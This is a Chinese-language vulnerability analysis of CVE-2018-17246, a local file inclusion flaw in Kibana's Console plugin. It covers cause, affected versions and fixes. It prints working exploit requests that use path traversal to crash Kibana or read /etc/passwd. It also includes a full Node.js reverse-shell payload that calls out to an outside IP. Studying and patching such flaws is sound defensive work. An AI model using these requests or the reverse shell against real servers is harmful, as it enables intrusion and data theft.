Elasticsearch核心插件Kibana本地文件包含漏洞分析(CVE-2018-17246)
字数 1423 2025-08-18 11:37:49
Kibana本地文件包含漏洞分析(CVE-2018-17246)教学文档
漏洞概述
CVE-2018-17246是Elasticsearch Kibana核心插件Console中存在的一个严重的本地文件包含(LFI)漏洞。该漏洞影响Kibana 6.4.3之前版本和5.6.13之前版本,可导致拒绝服务攻击、任意文件读取攻击,甚至配合第三方应用实现反弹SHELL攻击。
影响范围
-
Kibana版本:
- 6.x系列:6.4.3之前的所有版本
- 5.x系列:5.6.13之前的所有版本
-
影响组件:Kibana中的Console插件
漏洞原理
漏洞污染点位于src/core_plugins/console/api_server/server.js中的Apis参数。攻击者提供的输入值被传递给参数name,而name变量的内容未经任何过滤直接被引入到require函数中。
在Node.js中,require函数用于加载模块:
- 可以加载核心模块(如内置的"http")
- 可以加载包含名为"index.js"的文件或目录
- 如果参数以"/"开头,函数会知道该模块是文件或文件夹
由于缺乏输入验证和过滤,攻击者可以通过路径遍历技术指定任意文件,导致本地文件包含漏洞。
漏洞利用方式
1. 拒绝服务攻击(DoS)
攻击向量:通过加载包含process.exit指令的Node.js文件,导致Kibana进程退出。
示例:
GET /api/console/api_server?apis=../../../../cli_plugin/index.js
效果:
- 客户端无法打开应用页面
- 服务端Kibana进程退出,应用服务停止
2. 任意文件读取
攻击向量:通过路径遍历读取服务器上的任意文件。
示例(读取/etc/passwd):
GET /api/console/api_server?apis=../../../../../../../etc/passwd
效果:
- 客户端页面返回500错误
- 服务端返回被读取文件的内容
3. 配合第三方应用反弹SHELL
前提条件:Kibana与其他应用程序一起部署,且该应用程序允许上传或写入JavaScript文件。
攻击步骤:
- 攻击者上传包含反弹shell代码的JavaScript文件
- 通过路径遍历技术访问该文件
- 触发Node.js执行该文件,建立反向连接
反弹shell示例代码:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
利用方式:
GET /api/console/api_server?apis=../../../../path/to/malicious.js
效果:
- 攻击者监听端口收到反向连接
- 获得服务器交互式shell
漏洞分析
- 漏洞入口:
src/core_plugins/console/api_server/server.js中的Apis参数 - 污染传播:未过滤的name变量直接传递给require函数
- 文件加载机制:
- 正常流程是获取导出API类实例并调用asJson函数的JavaScript文件
- 由于缺乏验证,可以指定任意文件
- 路径遍历:配合
../../等路径遍历技术可访问服务器任意位置文件
修复建议
-
升级到Kibana安全版本:
- 5.x系列升级到5.6.13或更高
- 6.x系列升级到6.4.3或更高
-
临时缓解措施:
- 限制对
/api/console/api_server端点的访问 - 实施输入验证,过滤路径遍历字符
- 限制对
总结
-
该漏洞展示了Node.js应用中本地文件包含漏洞的风险
-
与PHP中的LFI类似,但Node.js环境下的影响可能更为严重
-
漏洞可导致三种主要危害:
- 服务拒绝
- 敏感信息泄露
- 远程代码执行(配合文件上传)
-
开发人员应重视Node.js应用中的输入验证,特别是涉及文件操作的场景
参考资源
- 官方安全公告
- Node.js反向shell示例
- Kibana官方升级指南